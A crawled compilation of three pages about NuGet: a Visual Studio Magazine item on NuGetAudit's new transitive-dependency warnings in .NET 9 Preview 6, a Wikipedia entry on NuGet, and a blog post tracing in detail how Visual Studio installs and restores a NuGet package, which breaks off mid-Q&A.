"https://pubads.g.doubleclick.net/gampad/ad?iu=/5978/eof.vsm&t=item%253dd87e8cae_d082_4be1_ade6_793f920dd149%26pos%253dpixel%26Topic%253dDevelopment%252cNET%252cNET_Core%252cSecurity&sz=1x1&tile=16&c=123456789"
] |
[] |
[] |
[
"microsoft",
".net 9"
] | null |
[
"About the Author",
"David Ramel"
] |
2024-07-09T00:00:00
|
With new dev tooling security vulnerabilities publicized regularly, Microsoft's new .NET 9 Preview 6 addresses the problem in one specific area: NuGet packages used for sharing code libraries, tools and other assets in the .NET ecosystem.
|
en
|
/design/ECG/VisualStudioMagazine/img/favicon-vsm.ico
|
Visual Studio Magazine
|
https://visualstudiomagazine.com/Articles/2024/07/09/net-9-preview-6.aspx
|
With new dev tooling security vulnerabilities publicized regularly, Microsoft's new .NET 9 Preview 6 addresses the problem in one specific area: NuGet packages used for sharing code libraries, tools and other assets in the .NET ecosystem.
NuGet vulnerabilities, or CVEs, are tracked here, and Microsoft has for years published mitigation guidance like "How to Scan NuGet Packages for Security Vulnerabilities."
The problems persist, however, and Microsoft is attacking them on many fronts, including dev tooling minutiae like NuGetAudit now raises warnings for vulnerabilities in transitive dependencies, an SDK update included in .NET 9 Preview 6, just released today (July 9).
"NuGetAudit, first added in .NET 8, provides warnings during restore if any packages used by your project have known vulnerabilities," Microsoft explained. "It requires a package source that provides a vulnerability database, so in practice you need to use https://api.nuget.org/v3/index.json as a package source, and we have plans to allow auditing without nuget.org as a package source. For more information on NuGet Audit, including all configuration options, see the documentation on NuGet Audit."
In the .NET 9 SDK in Preview 6, the default behavior of NuGetAudit has changed. Previously, only direct package references were reported by default (<NuGetAuditMode>direct</NuGetAuditMode>). Now the default is warnings on both direct and transitive packages (<NuGetAuditMode>all</NuGetAuditMode>) with known vulnerabilities.
The preview doesn't include much new major functionality or features, as Microsoft is nearing the final stages of .NET 9 development, which is scheduled for general availability in November.
The company publishes associated GitHub discussions about .NET 9 previews, with new ones including:
Libraries and runtime updates in .NET 9 Preview 6
.NET MAUI updates in .NET 9 Preview 6
ASP.NET Core updates in .NET 9 Preview 6
For those with an inclination to dig into the nitty-gritty details, more Microsoft guidance can be found in the release notes for different properties including:
Libraries updates in .NET 9 Preview 6
Runtime updates in .NET 9 Preview 6
SDK updates in .NET 9 Preview 6
C# updates in .NET 9 Preview 6
ASP.NET Core updates in .NET 9 Preview 6
.NET MAUI updates in .NET 9 Preview 6
The main dev effort can be tracked in What's new in .NET 9, last updated June 11. The company says it has a special focus on cloud-native apps and performance.
|
||||
8582
|
dbpedia
|
0
| 0
|
https://en.wikipedia.org/wiki/NuGet
|
en
|
Wikipedia
|
https://en.wikipedia.org/static/favicon/wikipedia.ico
|
https://en.wikipedia.org/static/favicon/wikipedia.ico
|
[
"https://en.wikipedia.org/static/images/icons/wikipedia.png",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-wordmark-en.svg",
"https://en.wikipedia.org/static/images/mobile/copyright/wikipedia-tagline-en.svg",
"https://upload.wikimedia.org/wikipedia/commons/thumb/2/25/NuGet_project_logo.svg/64px-NuGet_project_logo.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/3/31/Free_and_open-source_software_logo_%282009%29.svg/28px-Free_and_open-source_software_logo_%282009%29.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/8/8a/OOjs_UI_icon_edit-ltr-progressive.svg/10px-OOjs_UI_icon_edit-ltr-progressive.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/d/db/Symbol_list_class.svg/16px-Symbol_list_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/4/4a/Commons-logo.svg/12px-Commons-logo.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/en/thumb/9/96/Symbol_category_class.svg/16px-Symbol_category_class.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/d/db/System-installer.svg/30px-System-installer.svg.png",
"https://upload.wikimedia.org/wikipedia/commons/thumb/7/74/HelloWorld_in_black_and_white.svg/50px-HelloWorld_in_black_and_white.svg.png",
"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/start?type=1x1",
"https://en.wikipedia.org/static/images/footer/wikimedia-button.svg",
"https://en.wikipedia.org/static/images/footer/poweredby_mediawiki.svg"
] |
[] |
[] |
[
""
] | null |
[
"Contributors to Wikimedia projects"
] |
2010-11-06T13:35:28+00:00
|
en
|
/static/apple-touch/wikipedia.png
|
https://en.wikipedia.org/wiki/NuGet
|
.NET package manager
"Nuget" redirects here. Not to be confused with Nugget.
NuGetDeveloper(s)Microsoft, .NET FoundationInitial release5 October 2010; 13 years ago ( )Stable release
6.10[1] / 22 May 2024; 2 months ago ( )
Preview release
6.11.0.71[2] / 30 May 2024; 2 months ago ( )
Repositorygithub .com /NuGet /HomeWritten inC#Platform.NET FrameworkTypePackage management systemLicenseApache License 2.0Websitewww .nuget .org
NuGet (pronounced "New Get")[3] is a package manager, primarily used for packaging and distributing software written using .NET and the .NET Framework. The Outercurve Foundation initially created it under the name NuPack.[4][5] Since its introduction in 2010, NuGet has evolved into a larger ecosystem of tools and services, including a free and open-source client application, hosted package servers, and software deployment tools.[6]
Overview
[edit]
A NuGet package is a single ZIP file that bears a .nupack or .nupkg filename extension and contains .NET assemblies and their needed files, with a manifest file describing its contents.[7] Developers may create these packages with the NuGet client app and publish them in private or public repositories.[7]
NuGet was initially distributed as a Visual Studio extension. Starting with Visual Studio 2012, both Visual Studio and Visual Studio for Mac can natively utilise NuGet packages. NuGet's client, nuget.exe is a free and open-source, command-line app that can both create and consume packages. MSBuild and .NET Core SDK (dotnet.exe) can use it when it is present.[7] NuGet is also integrated with JetBrains Rider.[8]
It supports multiple programming languages, including:
.NET Framework packages
.NET packages
Native packages written in C++,[9] with package creation aided by CoApp
See also
[edit]
Free software portal
Binary repository manager
Chocolatey
ProGet
Software repository
Web Platform Installer
WinOps
Windows Package Manager
References
[edit]
|
||||
8582
|
dbpedia
|
0
| 93
|
https://mihai-albert.com/2020/04/23/what-does-it-really-mean-to-install-a-nuget-package-in-a-net-core-project-within-visual-studio/
|
en
|
What Does It Really Mean to Install a NuGet Package In a .NET Core Project Within Visual Studio
|
[
"https://mihai-albert.com/wp-content/uploads/2020/04/vs_restorepackages_message.png",
"https://mihai-albert.com/wp-content/uploads/2020/04/vs_nugetpackagerestore_settings.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/explorer_commandlineparser_nugetpackagefoldercontent.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/vs_csprojfile_afterpackageinstall.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/vs_nugetinstallconfirmation.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/vs_mac_nugetpackagerestore_settings.jpg?w=780",
"https://mihai-albert.com/wp-content/uploads/2020/04/procmon_project.assets.json_initialcreationastempfileby_devenv.exe_.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/procmon_project.assets.json_spawned.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/vmmap_commandlineparser_assembly_loaded_from_nuget_global_packages.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/vmmap_commandlineparser_assembly_loaded_from_outputfolder.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/explorer_localfolder_vs_nupkg.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/overview-01-generalflow_nuget_install.png?w=555",
"https://mihai-albert.com/wp-content/uploads/2020/04/vs_mac_commandlineparserrunning.jpg?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/vs_buildoutputverbosity_settings.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/corflags_commandlineparser_assemblyimageheader.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/fiddler_nugetpackageretrieval.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/insomnia_index.json_for_commandlineparser.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/04/fiddler_delayrequests.png?w=1024",
"https://mihai-albert.com/wp-content/uploads/2020/05/commandline_failed_checksum.png?w=1002",
"https://s2.wp.com/i/logo/wpcom-gray-white.png",
"https://s2.wp.com/i/logo/wpcom-gray-white.png",
"https://pixel.wp.com/b.gif?v=noscript"
] |
[] |
[] |
[
""
] | null |
[
"Mihai Albert"
] |
2020-04-23T00:00:00
|
You've ran into it countless times - you open a C# project in Visual Studio and you get to see "Restoring packages for <project_name>.csproj": It takes a few seconds usually, then goes away. You continue working for hours, sometimes days, never to encounter the message again. Then - out of the blue - it's displayed…
|
en
|
https://s1.wp.com/i/favicon.ico
|
Mihai-Albert.com
|
https://mihai-albert.com/2020/04/23/what-does-it-really-mean-to-install-a-nuget-package-in-a-net-core-project-within-visual-studio/
|
You’ve ran into it countless times – you open a C# project in Visual Studio and you get to see “Restoring packages for <project_name>.csproj“:
It takes a few seconds usually, then goes away. You continue working for hours, sometimes days, never to encounter the message again. Then – out of the blue – it’s displayed again. There doesn’t seem to be any logic to when this pops up. You might be cloning a Git repository storing a C# project, and moments after, Visual Studio generates the message. Why is there anything to be restored, as we’ve just cloned the full source code for a C# project? Or you decide to use a different target framework for your project, and sure enough the message comes again. Why is this so? Decided to install a NuGet package to your project? – the operation that will be run will be a “package restore”. What is there to restore as you’ve just installed a single package only?
And the ultimate situation: you create a brand new .NET Core project in Visual Studio, and immediately after it’s done, you still get a message that packages are being restored for your new project. But what packages? No one selected any NuGet package to be installed yet !
So what’s with this package restore and what really happens deep-down when this occurs?
TL;DR (I just need the exact steps that occur when installing a NuGet package to a .NET Core project from within Visual Studio. No theory, no intro. Now !): Skip right to step-by-step list in this section of this post.
What are we going to tackle in this post and in what order:
Set up assumptions and the correct expectations
Look into the anatomy of a NuGet package
Discuss the 2 types of package management formats
What does it mean to restore a package
What happens behind the scenes when installing a package within Visual Studio for a .NET Core C# project
Take a brief look at the build process in the context of package restore
What does a no-op restore means
Why use package restore in the first place?
To avoid discussing only theory, we’ll follow along with a specific example: one simple .NET Core C# project that uses the CommandLineParser NuGet package. As a matter of fact, we’ll just use the quickstart example at the package’s nuget.org page to build a .NET Core C# project in Visual Studio. We’ll look at what exactly happens when the NuGet package is installed and when the project is subsequently built. This specific NuGet package (CommandLineParser) has been chosen since it has no dependencies, which will simplify the discussion later on.
But first, a list of what to expect from this post, and what are the assumptions going forward. Don’t worry if some of the terms don’t make sense for now – they’ll all be explained later on.
Assumptions / Expectations
What NuGet is and what it’s used for is not the goal of this post. For an intro to NuGet there’s a very good article here. There’s also a nice 5-video explanation on Channel9 here. As for what nuget.org is, this is explained here
We’ll be using PackageReference only, as we’re dealing with a .NET Core project, which by default uses this style of package management format
We’re building a “Console Application” .NET Core 3.1 project, which will result in an .exe produced as well (alongside the assembly’s .dll). For further details about the executable file and what it actually contains see this post
The Windows operating system will be the main focus of the post, with MacOS referenced in a few places only
Visual Studio 2019 16.5.1 is used on Windows, and Visual Studio for Mac 8.5.2 is used on MacOS
Only the Visual Studio built-in NuGet Package Manager UI is discussed. All the possible clients that can handle NuGet packages on various platforms are listed here, but they’re not in the scope of this post
NuGet dependencies are not discussed in this post, but are left for a future one
We’ll consider both checkboxes in NuGet Package Manager to be ticked (when this won’t be so, it’ll be clearly flagged):
Anatomy of a NuGet Package
First thing’s first: what is a NuGet package? There’s quite some documentation around the format of a NuGet package, ranging from up-to-date info here (showing the subfolders than can exist within) to articles that showed up in the MSDN Magazine when this was in full swing here. Simply put, a NuGet package is just a zipped folder whose content matches specific requirements in terms of composition, that had its extension changed from .zip to .nupkg.
The package format allows for quite a few features to be built in, but we’ll just look at the basics, by sticking to the CommandLineParser NuGet package that we decided to use in the beginning. Here’s the content of the NuGet package (.nupkg file) for the current version at the time of this writing (2.7.82, as of Apr 2020):
Let’s go over some of the items above*:
lib folder: contains the assemblies and optionally the XML documentation files for each such assembly, grouped under each platform targeted. The name of the platform is codified as a target framework moniker (TFM) using the conventions here (eg netstandard2.0 is the string for .NET Standard 2.0)
<packageId>.nuspec: contains package metadata, such as version, title, author, description, dependencies, etc. Full structure here
license information
.signature.p7s: if the package’s author opted, it contains the signature applied. It will also contain a counter-signature applied by nuget.org (details here)
The format listed above is how the package exists while in transit (eg on the nuget.org servers, or just downloaded on a client machine). Once retrieved, the .nupkg file is unpacked and installed locally under a slightly different format. Among the files present, there’s a few extra as opposed to what we’ve looked at before* :
The .nupkg file itself
<packageId>.<packageVersion>.nupkg.sha512: the SHA of the .nupkg file itself
.nupkg.metadata: contains the hash of the package, excluding the signatures
How do we get from a .nupkg file to a locally deployed NuGet package containing the files listed above? We’ll see this in detail a bit later. But first, a few underlying concepts that need to be grasped.
Package Management Formats
In the beginning we said we’re going to use the CommandLineParser NuGet package within a .NET Core C# project. So how does our C# project knows which NuGet packages it uses? It needs to be able to somehow reference the NuGet package we’re going to install. How this information is stored is called a package management format. There are 2 types:
PackageReference: this is a section right within the .csproj file, containing the list of NuGet packages referenced
packages.config: a file with this name is stored within the project folder, and it’s this file that contains the list of the NuGet packages referenced
Why would we care about the type of package management format our project uses? Because there are further implications to how the project and the NuGet mechanism interoperate. For one, as stated here, “in packages.config based projects, the packages are installed in a folder relative to the project file. However in PackageReference, the packages are consumed from the global-packages folder, which can vary from machine to machine“. Another implication: here it’s stated that “In NuGet 4.0+, restore also happens automatically when you make changes to a SDK-style project (typically a .NET Core or .NET Standard project)“. The feature referenced – the package restore – will be extremely important further on.
On the other hand, projects.config as a package management format is no longer actively developed, plus it has a range of other disadvantages listed here.
So which one should we choose for our project? Well it turns out that this decision is made for us: by default a .NET Core project will use the SDK style project format (source here), which in turn uses the PackageReference format. This can be seen quite clearly by looking inside the project file (.csproj). Here’s how this will look once the CommandLineParser NuGet package is installed within the project (notice line 1 and 9 in particular) :
What is a NuGet Package Restore?
What is the mysterious Package Restore then? As per this link, “Package Restore tries to install all package dependencies to the correct state matching the package references in your project file (.csproj) or your packages.config file“. In other words, it uses the information in the project configuration files to install the required packages. Should those packages rely on other packages being installed first, it will install those in turn.
How does this translate to our project? The NuGet package restore will simply install the CommandLineParser NuGet package that we’ve seen referenced in the .csproj above. As there’s no dependency to this package we’re installing, no extra work will be involved with installing other packages.
Let’s see next the actual process of installing this NuGet package. We’ll track it in detail, from the very beginning.
What Happens?
So you go in Visual Studio’s NuGet Package Manager UI, leave the default nuget.org source selected, browsed to the desired package, chose the version you’re after, tick the project(s) where you’d like this installed and you hit “Install” *. What’s the sequence of actions that Visual Studio invokes next? Let’s follow the official workflow described here:
First, the NuGet package must be located and installed locally on the system:
<project_name>.csproj.nuget.dgspec.json is updated* in the obj folder to include the package being installed as a reference. The fact that the exact package name and version is stored within this file at the very beginning of the process might come as a surprise, but remember that we’re initiating the process of deploying the NuGet package from a window (NuGet Package Manager) where we’ve specifically chosen the package and its version
If the NuGet package isn’t already on the system – meaning it’s neither in the global-packages folder, nor in the http-cache – then it is retrieved first:
index.json for the target NuGet package is retrieved. This file contains the list of versions available for this particular package*
The chosen version is appended to the URL and to the name of the .nupkg file to be retrieved
The .nupkg file is retrieved and placed in a temporary folder
If the package has just been retrieved, it’s next installed in the http-cache folder. This folder resides in %localappdata%\NuGet\v3-cache, as per this link. Just as the link states, the files within have a .dat extension, each corresponding to a package. As in our scenario the package was pulled directly from nuget.org, all the .dat files ever retrieved from there are grouped under one single subfolder
The package is unpacked within a folder named after the package id and the version initially chosen. This folder is placed under the global-packages folder, which resides in %userprofile%\.nuget\packages. The package’s folder contents have already been discussed previously
Package dependencies are retrieved and installed next at this point, but since our selected NuGet package doesn’t have any dependency, there is nothing to be done here
A check is performed whether the framework used by the project – which for our sample is .NET Core 3.1 – is compatible with any of the platforms supported by the package
At this point a popup window gets displayed, asking for confirmation before moving on:
Second, now that the NuGet package is installed locally, our C# project is next configured to reference it. There are 2 major steps of interest to us here, that occur in the following order:
The project’s .csproj file is updated to include a PackageReference entry for the NuGet package that has been recently installed
The project.assets.json file – referred to as the “package dependency graph” in the official workflow doc and stored within the obj folder – gets updated* to include the new package as a dependency. This file simply lists the dependencies of our C# project, as stated here
The local package installation is captured in Visual Studio’s “Package Manager” output window*, which provides good insight to the process. Here’s the said output log below, generated from the moment the NuGet package installation is initiated within the NuGet Package Manager until it completes:
Note that at this point the .csproj file on disk is not yet updated to include a reference to the NuGet package. Its contents are very much the same as before starting the whole workflow. Yet if you double-click the project name in Solution Explorer, which subsequently opens the .csproj file – there’s a new reference to the NuGet package we’ve just installed, just as the expected outcome back in figure 3. Why the discrepancy? One just needs to save the file within Visual Studio in order for the new version of the .csproj file (known so far to Visual Studio only) to be committed back to disk.
This concludes the process of installing the NuGet package and integrating it with the project.
Overall, notice how this whole workflow is actually a NuGet package restore operation, which we’ve discussed previously: the project configuration is made to reference the package we’re installing, and then the package is installed automatically. This is captured in the official workflow doc: “Simply said, the different NuGet tools typically create a reference to a package in the project file or packages.config, then perform a package restore, which effectively installs the package“. Where things slightly differ is that in the “traditional” package restore the project configuration file (.csproj) is modified first, and based on the new package references defined within, the corresponding packages are subsequently installed. But as we’ve seen above, Visual Studio does things a bit different, whereby the .csproj file is modified last*, after the NuGet package is installed. This is stated however clearly in the same official workflow doc: “If the installation tool is Visual Studio or the dotnet CLI, the tool first attempts to install the package. If it’s incompatible, the package is not added to the project file or packages.config“. The compatibility check is the one done in step 6 under the first group of steps, and it’s the gate-keeper to the second group, which includes updating the .csproj.
The Final Product
How does our application actually get to use the newly installed NuGet package? When dealing with references to other assemblies, one usually expects to find the module files (.dlls) within the app’s output folder. So you might rightly wonder how will the .dll file corresponding to the assembly present within the NuGet package be used by our code at run time; after all, without the types defined within the .dll file, it’s impossible for our application to run. The NuGet package’s assembly we’re after is located for now only in lib\netstandard2.0\CommandLine.dll* within the packet’s folder hosted within the global-packages folder.
You might also ask yourself what was the point of generating the project dependency graph (project.assets.json) previously, as that wasn’t actually used in any way so far.
The 2 answers are below, as invoking a build operation against the Visual Studio solution containing our C# project results in the following:
The NuGet package’s assembly is copied to our project’s output folder. As specified here, “For executable projects targeting .NET Core 3.0 and later, library dependencies are copied to the output folder. This means that if there isn’t any other publish-specific logic (such as Web projects have), the build output should be deployable” *. The same docs link continues: “Building requires the project.assets.json file, which lists the dependencies of your application. The file is created when dotnet restore is executed. Without the assets file in place, the tooling can’t resolve reference assemblies, which results in errors“. This explains why this particular file was generated previously
Our own application is built, complete with the executable (.exe) host, its own assembly (.dll) and the runtime and dependency .json files
The No-Op Restore
Looking back at the “Package Manager” output log in listing 1 in the section describing the installation workflow you see 2 blocks of operations, with each block completion marked by a ==Finished== text. The first block contains all the operations corresponding to the NuGet package restore discussed before – just notice line 22 telling us that project.assets.json is written to disk. So what’s with the second block that also mentions a NuGet restore in the output log then?
This actually corresponds to a no-op restore. What is this? One of NuGet’s wiki pages explains clearly: “the VS Client currently has a non-configurable no-op implemented. The primary goal of this feature is to optimize restore so that if the restore result is up-to-date, the corresponding restore operation is not executed“.
Why is this no-op restore kicking in though, as opposed to the “full” package restore? Well, the thing is that project.assets.json has already been updated to its final value. Same with the .csproj file, so there’s no change that happened which would justify a full package restore, which will have to generate the project’s dependency graph (which project.assets.json is) and consume time.
So we have this no-op restore, which simply marks the package restore operation as having taken place, but doesn’t go ahead and do any meaningful work simply because the relevant configuration input hasn’t changed. But what triggers this no-op restore in the first place? It would have been even more efficient to do nothing, than to invoke this no-op restore.
The answer has to do with the type of project we’re using. And as it was discussed in the “Package Management Formats” section, the .NET Core project is an SDK-style project, which in turn means that “restore also happens automatically when you make changes to a SDK-style project“. We did just install a NuGet package to it, so in a way we did make “changes”. And so we’re bound by the style of the project to do a package restore*. The fact that VS chooses a no-op restore under these conditions is the most efficient path.
Moving on to the build, we also get to see a no-op restore happening before the actual process starts. Here’s a trimmed version of the Build log, showing just the first few lines:
So we had a no-op restore right after the “full” package restore, and now when starting the build we’re getting another one. And if you look closely, the same exact steps are performed as part of both no-op restores. So what’s triggering the latter? The answer is that this is how NuGet works by default for a while now: “NuGet now always restores packages before building in VS” at (link here). And yet again, we can ask ourselves why would the build process require a package restore before it starts? We actually have the answer from the previous section: “Building requires the project.assets.json file, which lists the dependencies of your application. The file is created when dotnet restore is executed. Without the assets file in place, the tooling can’t resolve reference assemblies, which results in errors“. And what generates the project.assets.json file? A package restore. So this is why a package restore is mandatory to have occurred before a build*. So Visual Studio again takes the optimal path, and – since no actual changes occurred – does a simple no-op restore. How can one test this is so? Simply disable the second tickbox of the NuGet restore settings in Visual Studio (which controls checking for missing packages), and then delete the project.assets.json file. Try to build the solution, and you’ll run into the message below, which captures exactly what we’ve just discussed:
C:\Program Files\dotnet\sdk\3.1.200\Sdks\Microsoft.NET.Sdk\targets\Microsoft.NET.Sdk.targets(194,5): error NETSDK1004: Assets file ‘C:\Users\malbert\source\repos\CmdParserTest\CmdParserTest\obj\project.assets.json’ not found. Run a NuGet package restore to generate this file.
You’ll actually get the same exact message thrown even if creating a blank new .NET Core project and trying to build, provided the same 2nd tickbox is not set (the NuGet restore settings in Visual Studio and their default values were shown back in figure 1 in the section dealing with the post’s assumptions). This also answers the question about the point of doing a package restore for a new project, which we’ve asked in the beginning of this article – the build process needs the dependency graph, which gets created by the package restore.
Why Use the Package Restore in the First Place?
But why use the package restore feature? After all, the .NET world managed assemblies way before NuGet became the Microsoft-supported mechanism for sharing code. Adding the required assemblies manually, as “classic” references within Visual Studio would get the required types within reach of our code, and allow us to safely compile. But there are downsides to this method.
Consider a simple C# project, that references one external assembly (.dll). Now assume the project is added to source control, eg to a git repository. Will this referenced .dll make it across to another machine that clones the repo? Not really, as the referenced .dll will most likely get stored in the output folder, and won’t make it across by default when cloning the repo. The warning thrown right when opening the project on the other machine is:
Warning MSB3245 Could not resolve this reference. Could not locate the assembly “<assembly>”. Check to make sure the assembly exists on disk. If this reference is required by your code, you may get compilation errors.
We don’t run into the issue above with a referenced NuGet package that’s publicly available. As soon as the project makes it across another machine, the references within the project file (.csproj) will automatically trigger an automatic NuGet package restore, which as we’ve seen gets the package and its assemblies installed, and our project configured accordingly. And you’re not likely to miss the NuGet client at the destination: since NuGet is the official package management tool for the .NET world, and its client and tools are available on the various platforms where .NET is supported, simply opening/building the project on a different machine that doesn’t yet have the dependencies required will result in all of them being automatically retrieved, without any manual steps involved.
Remember the default NuGet Package Restore settings for Visual Studio for Windows, seen previously in figure 1? There’s a similar set of preferences for doing package restore on MacOS as well* – and it’s also set to “on” out-of-the-box:
There’s yet another powerful reason to use the NuGet package restore: get all the underlying dependencies seamlessly deployed. We’ve only discussed in this post the simple example of a project having as dependency a single NuGet package. However this is not the norm – for example the current version of BenchmarkDotNet (0.12.1) relies on 15 NuGet packages; however those packages depend on other packages in turn. Overall there are 50+ NuGet packages that BenchmarkDotNet eventually depends on, with a range of minimum versions supported by each, all adding up to a complex matrix of inter-dependencies. Yet it takes NuGet less than 15 seconds to install everything, including downloading the .nupkg files.
We’ll finish off with some Q&A.
Q&A
Q: project.assets.json gets updated, but I’m having troubling doing so. Why can’t I find it?
A: First a temporary file is created, that contains the new content. Then the SetRenameInformationFile function is invoked by devenv.exe to rename the temporary file to project.assets.json. Here’s the temporary file created first, then renamed:
Q: What is the process that writes the updated content of project.assets.json?
A: It’s devenv.exe. You can see the process name in both snapshots for the previous question.
Q: If I remove the NuGet package’s assembly’s .dll file from the project’s output folder, the application still starts and runs just fine. Why is this so?
A: Copying the NuGet dependencies to the output folder is only done since .NET Core 3.0, as stated here. Why is this so? Since .NET Core 3.0 the option of generating a runtime-dependent executable as the result of the build operation became available (this link on this very blog talks about it in detail); the whole point is being able to take the output, place it on a machine that already has the correct .NET Core framework and run successfully (keeping of course the same OS family – eg Windows). So aside from the framework itself, there’s nothing else preventing us from taking the content of the output folder and running it somewhere else. Not so with .NET Core pre-3.0, where the application could only be run using dotnet.exe <.dll file>, and the dotnet.exe restore (automatically invoked when running since .NET Core 2.0) required the correct NuGet package (either to be able to download it, or to be already present on the system). With .NET Core 3.0, the requirement for the NuGet package to be present or downloadable is no longer in place, as the assembly .dll is already present in the app’s own output folder. Should the assembly be missing from the app’s folder, then the previous functionality will still kick in and load the NuGet package from the global-packages folder. Here’s an output from VMMap that shows what assembly is mapped by our test application when the CommandLineParser assembly .dll is removed from the app’s folder right before starting the app:
Here’s the assembly loaded when the files are left as-is after the build completes:
Q: Is the content of the .nupkg file simply extracted to the global-packages folder, when installed locally?
A: They’re slightly different. Here’s how it looks for CommandLineParser 2.7.82 (left: package folder, right: unzipped .nupkg):
Among the differences:
<packageId>.<packageVersion>.nupkg.sha512: the SHA of the .nupkg file itself (found only on disk, when deployed to the global packages folder)
.nupkg.metadata: contains the hash of the package, excluding the signatures (found only on disk, when deployed to the global packages folder)
Q: What is the workflow of installing a package, from the NuGet consumer perspective?
A: This is nicely depicted here. The main diagram is shown below; notice that the main topic of this blog post is actually step 4:
Q: How can one see the details within a NuGet package?
A: To look further into the various attributes of a .nupkg file – whether from local disk or from the nuget.org feed, there is a package explorer app (NuGet Package Explorer) built by a Microsoft employee at https://github.com/NuGetPackageExplorer/NuGetPackageExplorer
Q: What if one manually deletes the obj folder within the project’s folder? Is the package restore or the build impacted in any way?
A: Even if the obj folder is deleted, the next time the solution is loaded, the project.assets.json will be recreated (as part of the NuGet restore, along with other files (within the same obj folder) as well. The fact that a NuGet restore is performed can be easily seen from the Package Manager output window in Visual Studio. Rebuilding the solution will also recreate the obj folder. Note that this will only work if both checkboxes in NuGet Package Manager are ticked, as showed back in figure 1 in the Assumptions section.
Q: I’m seeing the CommandLineParser NuGet package currently (as of Apr 2020) targets – among other frameworks – .NET Standard 2.0 (NuGet page here). What does this mean exactly?
A: .NET Standard 2.0 means both .NET Core (>=2.0) and .NET Framework (>=4.6.1) are supported. You can find details about this here.
Q: There’s a “temp” folder mentioned here. Is it ever used during the package install (+ no-op restore) process in Visual Studio, as seen in this article?
A: It is, but mostly to put in place some locks, based on the ProcMon analysis of the install that I’ve done.
Q: Are you sure that modifying the .NET Core project is what causes the package restore?
A: Yes. There’s a reference to this as well here.
Q: Can the NuGet automatic package restore be disabled?
A: Yes. All you have to do is disable the 2 checkboxes in the VS settings, as described here. Once you do, the process described in this article changes as follows: first, the no-op restore that occurred after the package was installed no longer happens, with a explicit message in the Package Manager output log. Here’s the log after the NuGet package in our project is installed:
Secondly, concerning the second no-op restore – the one that usually showed up before the build – no longer occurs too. In the Build output log you’ll just get to see the actual build process, without any reference whatsoever to any package restore.
Q: I’ve browsed to the various folders corresponding to the various TFM (target framework monikers) underneath the lib folder within the CommandLineParser 2.7.82 package, and all I get to see – along one .xml documentation file – is just one other CommandLine.dll file. As this .dll extension only works with Windows, does it mean that this project cannot be successfully built and ran on another OS (eg Linux, MacOS, etc)?
A: You’ll be able to run successfully on other OSes. After all, one of the goals of .NET Core is portability. Here’s the quickstart CommandLineParser code running just fine on a MacBook, after the NuGet package was successfully installed using Visual Studio for Mac. Notice the title of the terminal window containing our own app’s .dll :
Q: What controls the verbosity of the Package Manager output window?
A: The Build verbosity setting in Visual Studio also controls the Package Manager output window level of information:
Q: What is the bitness of the CommandLine.dll assembly within the NuGet package that we’ve just installed?
A: Since our project is .NET Core 3.1, the NuGet installer went for the assembly image within the netstandard2.0 folder (.NET Standard 2.0 is the only option that supports .NET Core for the current version of the CommandLineParser package, among the subfolders in the package’s lib folder). Using corflags.exe against this .dll file shows that the assembly in question was compiled for AnyCPU (the results for the other possible platforms are depicted here):
Q: Where can I find more information about the 2 package management formats, and about the SDK-style projects?
A: PackageReference is described here. projects.config is described here. And the various types of SDK style projects are discussed here.
Q: I’ve noticed that even if both NuGet package restore Visual Studio settings are set to disabled, one can manually install packages to a project. Is this normal?
A: The manual package installation that we’ve performed (in effect a package restore operation, as we’ve seen in the post) is not controlled by the 2 checkboxes in Visual Studio settings – those only refer to missing packages, affecting projects that are already referencing a NuGet package, but the respective package is not yet available on the disk. What we’ve done however was to add a new package to the project, meaning adding a new package reference within our project file.
Q: How do you know that <project_name>.csproj.nuget.dgspec.json is written to ahead of all the other steps described when installing a package?
A: The first hint is seen in the Package Manager output back in the “What Happens?” section – the file is explicitly mentioned as being written to right near the beginning. Secondly, a lock for writing can be set against the file, and the NuGet installation started from scratch; doing so will result in an exception thrown during the install process, right near the beginning. The lock can be set using the following code:
FileStream fileStreamLock; string path = @"C:\Users\malbert\source\repos\CmdParserTest\CmdParserTest\obj\CmdParserTest.csproj.nuget.dgspec.json"; try { Console.WriteLine(String.Format("Trying to get exclusive access to {0}", path)); // Use FileShare.None as the last parameter instead if there's the need to restrict read access as well from another process fileStreamLock = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read); Console.WriteLine("Lock obtained"); } catch { Console.WriteLine("Cannot obtain lock. Exiting"); return; } Console.WriteLine("Press a key to release the lock..."); Console.ReadLine(); Console.WriteLine("Releasing lock"); fileStreamLock.Dispose();
Q: How can one see the requests for package data going to nuget.org?
